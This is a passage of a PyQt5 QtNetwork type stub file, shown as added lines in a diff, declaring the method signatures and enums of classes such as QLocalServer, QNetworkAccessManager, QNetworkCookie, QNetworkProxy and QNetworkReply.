QLocalServer(QtCore.QObject): + + class SocketOption(int): + UserAccessOption = ... # type: QLocalServer.SocketOption + GroupAccessOption = ... # type: QLocalServer.SocketOption + OtherAccessOption = ... # type: QLocalServer.SocketOption + WorldAccessOption = ... # type: QLocalServer.SocketOption + + class SocketOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLocalServer.SocketOptions', 'QLocalServer.SocketOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLocalServer.SocketOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLocalServer.SocketOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def socketDescriptor(self) -> PyQt5.sip.voidptr: ... + def socketOptions(self) -> 'QLocalServer.SocketOptions': ... + def setSocketOptions(self, options: typing.Union['QLocalServer.SocketOptions', 'QLocalServer.SocketOption']) -> None: ... + def incomingConnection(self, socketDescriptor: PyQt5.sip.voidptr) -> None: ... + def newConnection(self) -> None: ... + @staticmethod + def removeServer(name: str) -> bool: ... + def waitForNewConnection(self, msecs: int = ...) -> typing.Tuple[bool, bool]: ... + def setMaxPendingConnections(self, numConnections: int) -> None: ... + def serverError(self) -> QAbstractSocket.SocketError: ... + def fullServerName(self) -> str: ... + def serverName(self) -> str: ... + def nextPendingConnection(self) -> 'QLocalSocket': ... + def maxPendingConnections(self) -> int: ... + @typing.overload + def listen(self, name: str) -> bool: ... + @typing.overload + def listen(self, socketDescriptor: PyQt5.sip.voidptr) -> bool: ... + def isListening(self) -> bool: ... + def hasPendingConnections(self) -> bool: ... + def errorString(self) -> str: ... + def close(self) -> None: ... + + +class QLocalSocket(QtCore.QIODevice): + + class LocalSocketState(int): + UnconnectedState = ... # type: QLocalSocket.LocalSocketState + ConnectingState = ... # type: QLocalSocket.LocalSocketState + ConnectedState = ... # type: QLocalSocket.LocalSocketState + ClosingState = ... # type: QLocalSocket.LocalSocketState + + class LocalSocketError(int): + ConnectionRefusedError = ... # type: QLocalSocket.LocalSocketError + PeerClosedError = ... # type: QLocalSocket.LocalSocketError + ServerNotFoundError = ... # type: QLocalSocket.LocalSocketError + SocketAccessError = ... # type: QLocalSocket.LocalSocketError + SocketResourceError = ... # type: QLocalSocket.LocalSocketError + SocketTimeoutError = ... # type: QLocalSocket.LocalSocketError + DatagramTooLargeError = ... # type: QLocalSocket.LocalSocketError + ConnectionError = ... # type: QLocalSocket.LocalSocketError + UnsupportedSocketOperationError = ... # type: QLocalSocket.LocalSocketError + OperationError = ... # type: QLocalSocket.LocalSocketError + UnknownSocketError = ... # type: QLocalSocket.LocalSocketError + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def writeData(self, a0: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def stateChanged(self, socketState: 'QLocalSocket.LocalSocketState') -> None: ... + def errorOccurred(self, socketError: 'QLocalSocket.LocalSocketError') -> None: ... + def disconnected(self) -> None: ... + def connected(self) -> None: ... + def waitForReadyRead(self, msecs: int = ...) -> bool: ... + def waitForDisconnected(self, msecs: int = ...) -> bool: ... + def waitForConnected(self, msecs: int = ...) -> bool: ... + def waitForBytesWritten(self, msecs: int = ...) -> bool: ... + def state(self) -> 'QLocalSocket.LocalSocketState': ... + def socketDescriptor(self) -> PyQt5.sip.voidptr: ... + def setSocketDescriptor(self, socketDescriptor: PyQt5.sip.voidptr, state: 'QLocalSocket.LocalSocketState' = ..., mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> bool: ... + def setReadBufferSize(self, size: int) -> None: ... + def readBufferSize(self) -> int: ... + def isValid(self) -> bool: ... + def flush(self) -> bool: ... + @typing.overload + def error(self) -> 'QLocalSocket.LocalSocketError': ... + @typing.overload + def error(self, socketError: 'QLocalSocket.LocalSocketError') -> None: ... + def close(self) -> None: ... + def canReadLine(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def isSequential(self) -> bool: ... + def abort(self) -> None: ... + def fullServerName(self) -> str: ... + def setServerName(self, name: str) -> None: ... + def serverName(self) -> str: ... + def open(self, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> bool: ... + def disconnectFromServer(self) -> None: ... + @typing.overload + def connectToServer(self, name: str, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + @typing.overload + def connectToServer(self, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + + +class QNetworkAccessManager(QtCore.QObject): + + class NetworkAccessibility(int): + UnknownAccessibility = ... # type: QNetworkAccessManager.NetworkAccessibility + NotAccessible = ... # type: QNetworkAccessManager.NetworkAccessibility + Accessible = ... # type: QNetworkAccessManager.NetworkAccessibility + + class Operation(int): + HeadOperation = ... # type: QNetworkAccessManager.Operation + GetOperation = ... # type: QNetworkAccessManager.Operation + PutOperation = ... # type: QNetworkAccessManager.Operation + PostOperation = ... # type: QNetworkAccessManager.Operation + DeleteOperation = ... # type: QNetworkAccessManager.Operation + CustomOperation = ... # type: QNetworkAccessManager.Operation + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setTransferTimeout(self, timeout: int = ...) -> None: ... + def transferTimeout(self) -> int: ... + def setAutoDeleteReplies(self, autoDelete: bool) -> None: ... + def autoDeleteReplies(self) -> bool: ... + def isStrictTransportSecurityStoreEnabled(self) -> bool: ... + def enableStrictTransportSecurityStore(self, enabled: bool, storeDir: str = ...) -> None: ... + def redirectPolicy(self) -> 'QNetworkRequest.RedirectPolicy': ... + def setRedirectPolicy(self, policy: 'QNetworkRequest.RedirectPolicy') -> None: ... + def strictTransportSecurityHosts(self) -> typing.List[QHstsPolicy]: ... + def addStrictTransportSecurityHosts(self, knownHosts: typing.Iterable[QHstsPolicy]) -> None: ... + def isStrictTransportSecurityEnabled(self) -> bool: ... + def setStrictTransportSecurityEnabled(self, enabled: bool) -> None: ... + def clearConnectionCache(self) -> None: ... + def supportedSchemesImplementation(self) -> typing.List[str]: ... + def connectToHost(self, hostName: str, port: int = ...) -> None: ... + @typing.overload + def connectToHostEncrypted(self, hostName: str, port: int = ..., sslConfiguration: 'QSslConfiguration' = ...) -> None: ... + @typing.overload + def connectToHostEncrypted(self, hostName: str, port: int, sslConfiguration: 'QSslConfiguration', peerName: str) -> None: ... + def supportedSchemes(self) -> typing.List[str]: ... + def clearAccessCache(self) -> None: ... + def networkAccessible(self) -> 'QNetworkAccessManager.NetworkAccessibility': ... + def setNetworkAccessible(self, accessible: 'QNetworkAccessManager.NetworkAccessibility') -> None: ... + def activeConfiguration(self) -> 'QNetworkConfiguration': ... + def configuration(self) -> 'QNetworkConfiguration': ... + def setConfiguration(self, config: 'QNetworkConfiguration') -> None: ... + @typing.overload + def sendCustomRequest(self, request: 'QNetworkRequest', verb: typing.Union[QtCore.QByteArray, bytes, bytearray], data: typing.Optional[QtCore.QIODevice] = ...) -> 'QNetworkReply': ... + @typing.overload + def sendCustomRequest(self, request: 'QNetworkRequest', verb: typing.Union[QtCore.QByteArray, bytes, bytearray], data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNetworkReply': ... + @typing.overload + def sendCustomRequest(self, request: 'QNetworkRequest', verb: typing.Union[QtCore.QByteArray, bytes, bytearray], multiPart: QHttpMultiPart) -> 'QNetworkReply': ... + def deleteResource(self, request: 'QNetworkRequest') -> 'QNetworkReply': ... + def setCache(self, cache: QAbstractNetworkCache) -> None: ... + def cache(self) -> QAbstractNetworkCache: ... + def setProxyFactory(self, factory: 'QNetworkProxyFactory') -> None: ... + def proxyFactory(self) -> 'QNetworkProxyFactory': ... + def createRequest(self, op: 'QNetworkAccessManager.Operation', request: 'QNetworkRequest', device: typing.Optional[QtCore.QIODevice] = ...) -> 'QNetworkReply': ... + def preSharedKeyAuthenticationRequired(self, reply: 'QNetworkReply', authenticator: 'QSslPreSharedKeyAuthenticator') -> None: ... + def networkAccessibleChanged(self, accessible: 'QNetworkAccessManager.NetworkAccessibility') -> None: ... + def sslErrors(self, reply: 'QNetworkReply', errors: typing.Iterable['QSslError']) -> None: ... + def encrypted(self, reply: 'QNetworkReply') -> None: ... + def finished(self, reply: 'QNetworkReply') -> None: ... + def authenticationRequired(self, reply: 'QNetworkReply', authenticator: QAuthenticator) -> None: ... + def proxyAuthenticationRequired(self, proxy: 'QNetworkProxy', authenticator: QAuthenticator) -> None: ... + @typing.overload + def put(self, request: 'QNetworkRequest', data: QtCore.QIODevice) -> 'QNetworkReply': ... + @typing.overload + def put(self, request: 'QNetworkRequest', data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNetworkReply': ... + @typing.overload + def put(self, request: 'QNetworkRequest', multiPart: QHttpMultiPart) -> 'QNetworkReply': ... + @typing.overload + def post(self, request: 'QNetworkRequest', data: QtCore.QIODevice) -> 'QNetworkReply': ... + @typing.overload + def post(self, request: 'QNetworkRequest', data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNetworkReply': ... + @typing.overload + def post(self, request: 'QNetworkRequest', multiPart: QHttpMultiPart) -> 'QNetworkReply': ... + def get(self, request: 'QNetworkRequest') -> 'QNetworkReply': ... + def head(self, request: 'QNetworkRequest') -> 'QNetworkReply': ... + def setCookieJar(self, cookieJar: 'QNetworkCookieJar') -> None: ... + def cookieJar(self) -> 'QNetworkCookieJar': ... + def setProxy(self, proxy: 'QNetworkProxy') -> None: ... + def proxy(self) -> 'QNetworkProxy': ... + + +class QNetworkConfigurationManager(QtCore.QObject): + + class Capability(int): + CanStartAndStopInterfaces = ... # type: QNetworkConfigurationManager.Capability + DirectConnectionRouting = ... # type: QNetworkConfigurationManager.Capability + SystemSessionSupport = ... # type: QNetworkConfigurationManager.Capability + ApplicationLevelRoaming = ... # type: QNetworkConfigurationManager.Capability + ForcedRoaming = ... # type: QNetworkConfigurationManager.Capability + DataStatistics = ... # type: QNetworkConfigurationManager.Capability + NetworkSessionRequired = ... # type: QNetworkConfigurationManager.Capability + + class Capabilities(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNetworkConfigurationManager.Capabilities', 'QNetworkConfigurationManager.Capability']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkConfigurationManager.Capabilities') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNetworkConfigurationManager.Capabilities': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def updateCompleted(self) -> None: ... + def onlineStateChanged(self, isOnline: bool) -> None: ... + def configurationChanged(self, config: 'QNetworkConfiguration') -> None: ... + def configurationRemoved(self, config: 'QNetworkConfiguration') -> None: ... + def configurationAdded(self, config: 'QNetworkConfiguration') -> None: ... + def isOnline(self) -> bool: ... + def updateConfigurations(self) -> None: ... + def configurationFromIdentifier(self, identifier: str) -> 'QNetworkConfiguration': ... + def allConfigurations(self, flags: typing.Union['QNetworkConfiguration.StateFlags', 'QNetworkConfiguration.StateFlag'] = ...) -> typing.List['QNetworkConfiguration']: ... + def defaultConfiguration(self) -> 'QNetworkConfiguration': ... + def capabilities(self) -> 'QNetworkConfigurationManager.Capabilities': ... + + +class QNetworkConfiguration(sip.simplewrapper): + + class BearerType(int): + BearerUnknown = ... # type: QNetworkConfiguration.BearerType + BearerEthernet = ... # type: QNetworkConfiguration.BearerType + BearerWLAN = ... # type: QNetworkConfiguration.BearerType + Bearer2G = ... # type: QNetworkConfiguration.BearerType + BearerCDMA2000 = ... # type: QNetworkConfiguration.BearerType + BearerWCDMA = ... # type: QNetworkConfiguration.BearerType + BearerHSPA = ... # type: QNetworkConfiguration.BearerType + BearerBluetooth = ... # type: QNetworkConfiguration.BearerType + BearerWiMAX = ... # type: QNetworkConfiguration.BearerType + BearerEVDO = ... # type: QNetworkConfiguration.BearerType + BearerLTE = ... # type: QNetworkConfiguration.BearerType + Bearer3G = ... # type: QNetworkConfiguration.BearerType + Bearer4G = ... # type: QNetworkConfiguration.BearerType + + class StateFlag(int): + Undefined = ... # type: QNetworkConfiguration.StateFlag + Defined = ... # type: QNetworkConfiguration.StateFlag + Discovered = ... # type: QNetworkConfiguration.StateFlag + Active = ... # type: QNetworkConfiguration.StateFlag + + class Purpose(int): + UnknownPurpose = ... # type: QNetworkConfiguration.Purpose + PublicPurpose = ... # type: QNetworkConfiguration.Purpose + PrivatePurpose = ... # type: QNetworkConfiguration.Purpose + ServiceSpecificPurpose = ... # type: QNetworkConfiguration.Purpose + + class Type(int): + InternetAccessPoint = ... # type: QNetworkConfiguration.Type + ServiceNetwork = ... # type: QNetworkConfiguration.Type + UserChoice = ... # type: QNetworkConfiguration.Type + Invalid = ... # type: QNetworkConfiguration.Type + + class StateFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNetworkConfiguration.StateFlags', 'QNetworkConfiguration.StateFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkConfiguration.StateFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNetworkConfiguration.StateFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkConfiguration') -> None: ... + + def setConnectTimeout(self, timeout: int) -> bool: ... + def connectTimeout(self) -> int: ... + def swap(self, other: 'QNetworkConfiguration') -> None: ... + def isValid(self) -> bool: ... + def name(self) -> str: ... + def children(self) -> typing.List['QNetworkConfiguration']: ... + def isRoamingAvailable(self) -> bool: ... + def identifier(self) -> str: ... + def bearerTypeFamily(self) -> 'QNetworkConfiguration.BearerType': ... + def bearerTypeName(self) -> str: ... + def bearerType(self) -> 'QNetworkConfiguration.BearerType': ... + def purpose(self) -> 'QNetworkConfiguration.Purpose': ... + def type(self) -> 'QNetworkConfiguration.Type': ... + def state(self) -> 'QNetworkConfiguration.StateFlags': ... + + +class QNetworkCookie(sip.simplewrapper): + + class RawForm(int): + NameAndValueOnly = ... # type: QNetworkCookie.RawForm + Full = ... # type: QNetworkCookie.RawForm + + @typing.overload + def __init__(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray] = ..., value: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkCookie') -> None: ... + + def normalize(self, url: QtCore.QUrl) -> None: ... + def hasSameIdentifier(self, other: 'QNetworkCookie') -> bool: ... + def swap(self, other: 'QNetworkCookie') -> None: ... + def setHttpOnly(self, enable: bool) -> None: ... + def isHttpOnly(self) -> bool: ... + @staticmethod + def parseCookies(cookieString: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List['QNetworkCookie']: ... + def toRawForm(self, form: 'QNetworkCookie.RawForm' = ...) -> QtCore.QByteArray: ... + def setValue(self, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def value(self) -> QtCore.QByteArray: ... + def setName(self, cookieName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def name(self) -> QtCore.QByteArray: ... + def setPath(self, path: str) -> None: ... + def path(self) -> str: ... + def setDomain(self, domain: str) -> None: ... + def domain(self) -> str: ... + def setExpirationDate(self, date: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def expirationDate(self) -> QtCore.QDateTime: ... + def isSessionCookie(self) -> bool: ... + def setSecure(self, enable: bool) -> None: ... + def isSecure(self) -> bool: ... + + +class QNetworkCookieJar(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def validateCookie(self, cookie: QNetworkCookie, url: QtCore.QUrl) -> bool: ... + def allCookies(self) -> typing.List[QNetworkCookie]: ... + def setAllCookies(self, cookieList: typing.Iterable[QNetworkCookie]) -> None: ... + def deleteCookie(self, cookie: QNetworkCookie) -> bool: ... + def updateCookie(self, cookie: QNetworkCookie) -> bool: ... + def insertCookie(self, cookie: QNetworkCookie) -> bool: ... + def setCookiesFromUrl(self, cookieList: typing.Iterable[QNetworkCookie], url: QtCore.QUrl) -> bool: ... + def cookiesForUrl(self, url: QtCore.QUrl) -> typing.List[QNetworkCookie]: ... + + +class QNetworkDatagram(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], destinationAddress: typing.Union[QHostAddress, QHostAddress.SpecialAddress] = ..., port: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkDatagram') -> None: ... + + def makeReply(self, payload: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNetworkDatagram': ... + def setData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def data(self) -> QtCore.QByteArray: ... + def setHopLimit(self, count: int) -> None: ... + def hopLimit(self) -> int: ... + def setDestination(self, address: typing.Union[QHostAddress, QHostAddress.SpecialAddress], port: int) -> None: ... + def setSender(self, address: typing.Union[QHostAddress, QHostAddress.SpecialAddress], port: int = ...) -> None: ... + def destinationPort(self) -> int: ... + def senderPort(self) -> int: ... + def destinationAddress(self) -> QHostAddress: ... + def senderAddress(self) -> QHostAddress: ... + def setInterfaceIndex(self, index: int) -> None: ... + def interfaceIndex(self) -> int: ... + def isNull(self) -> bool: ... + def isValid(self) -> bool: ... + def clear(self) -> None: ... + def swap(self, other: 'QNetworkDatagram') -> None: ... + + +class QNetworkDiskCache(QAbstractNetworkCache): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def expire(self) -> int: ... + def clear(self) -> None: ... + def fileMetaData(self, fileName: str) -> QNetworkCacheMetaData: ... + def insert(self, device: QtCore.QIODevice) -> None: ... + def prepare(self, metaData: QNetworkCacheMetaData) -> QtCore.QIODevice: ... + def remove(self, url: QtCore.QUrl) -> bool: ... + def data(self, url: QtCore.QUrl) -> QtCore.QIODevice: ... + def updateMetaData(self, metaData: QNetworkCacheMetaData) -> None: ... + def metaData(self, url: QtCore.QUrl) -> QNetworkCacheMetaData: ... + def cacheSize(self) -> int: ... + def setMaximumCacheSize(self, size: int) -> None: ... + def maximumCacheSize(self) -> int: ... + def setCacheDirectory(self, cacheDir: str) -> None: ... + def cacheDirectory(self) -> str: ... + + +class QNetworkAddressEntry(sip.simplewrapper): + + class DnsEligibilityStatus(int): + DnsEligibilityUnknown = ... # type: QNetworkAddressEntry.DnsEligibilityStatus + DnsIneligible = ... # type: QNetworkAddressEntry.DnsEligibilityStatus + DnsEligible = ... # type: QNetworkAddressEntry.DnsEligibilityStatus + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkAddressEntry') -> None: ... + + def isTemporary(self) -> bool: ... + def isPermanent(self) -> bool: ... + def clearAddressLifetime(self) -> None: ... + def setAddressLifetime(self, preferred: QtCore.QDeadlineTimer, validity: QtCore.QDeadlineTimer) -> None: ... + def validityLifetime(self) -> QtCore.QDeadlineTimer: ... + def preferredLifetime(self) -> QtCore.QDeadlineTimer: ... + def isLifetimeKnown(self) -> bool: ... + def setDnsEligibility(self, status: 'QNetworkAddressEntry.DnsEligibilityStatus') -> None: ... + def dnsEligibility(self) -> 'QNetworkAddressEntry.DnsEligibilityStatus': ... + def swap(self, other: 'QNetworkAddressEntry') -> None: ... + def setPrefixLength(self, length: int) -> None: ... + def prefixLength(self) -> int: ... + def setBroadcast(self, newBroadcast: typing.Union[QHostAddress, QHostAddress.SpecialAddress]) -> None: ... + def broadcast(self) -> QHostAddress: ... + def setNetmask(self, newNetmask: typing.Union[QHostAddress, QHostAddress.SpecialAddress]) -> None: ... + def netmask(self) -> QHostAddress: ... + def setIp(self, newIp: typing.Union[QHostAddress, QHostAddress.SpecialAddress]) -> None: ... + def ip(self) -> QHostAddress: ... + + +class QNetworkInterface(sip.simplewrapper): + + class InterfaceType(int): + Unknown = ... # type: QNetworkInterface.InterfaceType + Loopback = ... # type: QNetworkInterface.InterfaceType + Virtual = ... # type: QNetworkInterface.InterfaceType + Ethernet = ... # type: QNetworkInterface.InterfaceType + Slip = ... # type: QNetworkInterface.InterfaceType + CanBus = ... # type: QNetworkInterface.InterfaceType + Ppp = ... # type: QNetworkInterface.InterfaceType + Fddi = ... # type: QNetworkInterface.InterfaceType + Wifi = ... # type: QNetworkInterface.InterfaceType + Ieee80211 = ... # type: QNetworkInterface.InterfaceType + Phonet = ... # type: QNetworkInterface.InterfaceType + Ieee802154 = ... # type: QNetworkInterface.InterfaceType + SixLoWPAN = ... # type: QNetworkInterface.InterfaceType + Ieee80216 = ... # type: QNetworkInterface.InterfaceType + Ieee1394 = ... # type: QNetworkInterface.InterfaceType + + class InterfaceFlag(int): + IsUp = ... # type: QNetworkInterface.InterfaceFlag + IsRunning = ... # type: QNetworkInterface.InterfaceFlag + CanBroadcast = ... # type: QNetworkInterface.InterfaceFlag + IsLoopBack = ... # type: QNetworkInterface.InterfaceFlag + IsPointToPoint = ... # type: QNetworkInterface.InterfaceFlag + CanMulticast = ... # type: QNetworkInterface.InterfaceFlag + + class InterfaceFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNetworkInterface.InterfaceFlags', 'QNetworkInterface.InterfaceFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkInterface.InterfaceFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNetworkInterface.InterfaceFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkInterface') -> None: ... + + def maximumTransmissionUnit(self) -> int: ... + def type(self) -> 'QNetworkInterface.InterfaceType': ... + @staticmethod + def interfaceNameFromIndex(index: int) -> str: ... + @staticmethod + def interfaceIndexFromName(name: str) -> int: ... + def swap(self, other: 'QNetworkInterface') -> None: ... + def humanReadableName(self) -> str: ... + def index(self) -> int: ... + @staticmethod + def allAddresses() -> typing.List[QHostAddress]: ... + @staticmethod + def allInterfaces() -> typing.List['QNetworkInterface']: ... + @staticmethod + def interfaceFromIndex(index: int) -> 'QNetworkInterface': ... + @staticmethod + def interfaceFromName(name: str) -> 'QNetworkInterface': ... + def addressEntries(self) -> typing.List[QNetworkAddressEntry]: ... + def hardwareAddress(self) -> str: ... + def flags(self) -> 'QNetworkInterface.InterfaceFlags': ... + def name(self) -> str: ... + def isValid(self) -> bool: ... + + +class QNetworkProxy(sip.simplewrapper): + + class Capability(int): + TunnelingCapability = ... # type: QNetworkProxy.Capability + ListeningCapability = ... # type: QNetworkProxy.Capability + UdpTunnelingCapability = ... # type: QNetworkProxy.Capability + CachingCapability = ... # type: QNetworkProxy.Capability + HostNameLookupCapability = ... # type: QNetworkProxy.Capability + SctpTunnelingCapability = ... # type: QNetworkProxy.Capability + SctpListeningCapability = ... # type: QNetworkProxy.Capability + + class ProxyType(int): + DefaultProxy = ... # type: QNetworkProxy.ProxyType + Socks5Proxy = ... # type: QNetworkProxy.ProxyType + NoProxy = ... # type: QNetworkProxy.ProxyType + HttpProxy = ... # type: QNetworkProxy.ProxyType + HttpCachingProxy = ... # type: QNetworkProxy.ProxyType + FtpCachingProxy = ... # type: QNetworkProxy.ProxyType + + class Capabilities(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNetworkProxy.Capabilities', 'QNetworkProxy.Capability']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkProxy.Capabilities') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNetworkProxy.Capabilities': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, type: 'QNetworkProxy.ProxyType', hostName: str = ..., port: int = ..., user: str = ..., password: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkProxy') -> None: ... + + def setRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray], value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def rawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> QtCore.QByteArray: ... + def rawHeaderList(self) -> typing.List[QtCore.QByteArray]: ... + def hasRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def setHeader(self, header: 'QNetworkRequest.KnownHeaders', value: typing.Any) -> None: ... + def header(self, header: 'QNetworkRequest.KnownHeaders') -> typing.Any: ... + def swap(self, other: 'QNetworkProxy') -> None: ... + def capabilities(self) -> 'QNetworkProxy.Capabilities': ... + def setCapabilities(self, capab: typing.Union['QNetworkProxy.Capabilities', 'QNetworkProxy.Capability']) -> None: ... + def isTransparentProxy(self) -> bool: ... + def isCachingProxy(self) -> bool: ... + @staticmethod + def applicationProxy() -> 'QNetworkProxy': ... + @staticmethod + def setApplicationProxy(proxy: 'QNetworkProxy') -> None: ... + def port(self) -> int: ... + def setPort(self, port: int) -> None: ... + def hostName(self) -> str: ... + def setHostName(self, hostName: str) -> None: ... + def password(self) -> str: ... + def setPassword(self, password: str) -> None: ... + def user(self) -> str: ... + def setUser(self, userName: str) -> None: ... + def type(self) -> 'QNetworkProxy.ProxyType': ... + def setType(self, type: 'QNetworkProxy.ProxyType') -> None: ... + + +class QNetworkProxyQuery(sip.simplewrapper): + + class QueryType(int): + TcpSocket = ... # type: QNetworkProxyQuery.QueryType + UdpSocket = ... # type: QNetworkProxyQuery.QueryType + TcpServer = ... # type: QNetworkProxyQuery.QueryType + UrlRequest = ... # type: QNetworkProxyQuery.QueryType + SctpSocket = ... # type: QNetworkProxyQuery.QueryType + SctpServer = ... # type: QNetworkProxyQuery.QueryType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, requestUrl: QtCore.QUrl, type: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, hostname: str, port: int, protocolTag: str = ..., type: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, bindPort: int, protocolTag: str = ..., type: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, networkConfiguration: QNetworkConfiguration, requestUrl: QtCore.QUrl, queryType: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, networkConfiguration: QNetworkConfiguration, hostname: str, port: int, protocolTag: str = ..., type: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, networkConfiguration: QNetworkConfiguration, bindPort: int, protocolTag: str = ..., type: 'QNetworkProxyQuery.QueryType' = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkProxyQuery') -> None: ... + + def swap(self, other: 'QNetworkProxyQuery') -> None: ... + def setNetworkConfiguration(self, networkConfiguration: QNetworkConfiguration) -> None: ... + def networkConfiguration(self) -> QNetworkConfiguration: ... + def setUrl(self, url: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + def setProtocolTag(self, protocolTag: str) -> None: ... + def protocolTag(self) -> str: ... + def setLocalPort(self, port: int) -> None: ... + def localPort(self) -> int: ... + def setPeerHostName(self, hostname: str) -> None: ... + def peerHostName(self) -> str: ... + def setPeerPort(self, port: int) -> None: ... + def peerPort(self) -> int: ... + def setQueryType(self, type: 'QNetworkProxyQuery.QueryType') -> None: ... + def queryType(self) -> 'QNetworkProxyQuery.QueryType': ... + + +class QNetworkProxyFactory(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkProxyFactory') -> None: ... + + @staticmethod + def usesSystemConfiguration() -> bool: ... + @staticmethod + def setUseSystemConfiguration(enable: bool) -> None: ... + @staticmethod + def systemProxyForQuery(query: QNetworkProxyQuery = ...) -> typing.List[QNetworkProxy]: ... + @staticmethod + def proxyForQuery(query: QNetworkProxyQuery) -> typing.List[QNetworkProxy]: ... + @staticmethod + def setApplicationProxyFactory(factory: 'QNetworkProxyFactory') -> None: ... + def queryProxy(self, query: QNetworkProxyQuery = ...) -> typing.List[QNetworkProxy]: ... + + +class QNetworkReply(QtCore.QIODevice): + + class NetworkError(int): + NoError = ... # type: QNetworkReply.NetworkError + ConnectionRefusedError = ... # type: QNetworkReply.NetworkError + RemoteHostClosedError = ... # type: QNetworkReply.NetworkError + HostNotFoundError = ... # type: QNetworkReply.NetworkError + TimeoutError = ... # type: QNetworkReply.NetworkError + OperationCanceledError = ... # type: QNetworkReply.NetworkError + SslHandshakeFailedError = ... # type: QNetworkReply.NetworkError + UnknownNetworkError = ... # type: QNetworkReply.NetworkError + ProxyConnectionRefusedError = ... # type: QNetworkReply.NetworkError + ProxyConnectionClosedError = ... # type: QNetworkReply.NetworkError + ProxyNotFoundError = ... # type: QNetworkReply.NetworkError + ProxyTimeoutError = ... # type: QNetworkReply.NetworkError + ProxyAuthenticationRequiredError = ... # type: QNetworkReply.NetworkError + UnknownProxyError = ... # type: QNetworkReply.NetworkError + ContentAccessDenied = ... # type: QNetworkReply.NetworkError + ContentOperationNotPermittedError = ... # type: QNetworkReply.NetworkError + ContentNotFoundError = ... # type: QNetworkReply.NetworkError + AuthenticationRequiredError = ... # type: 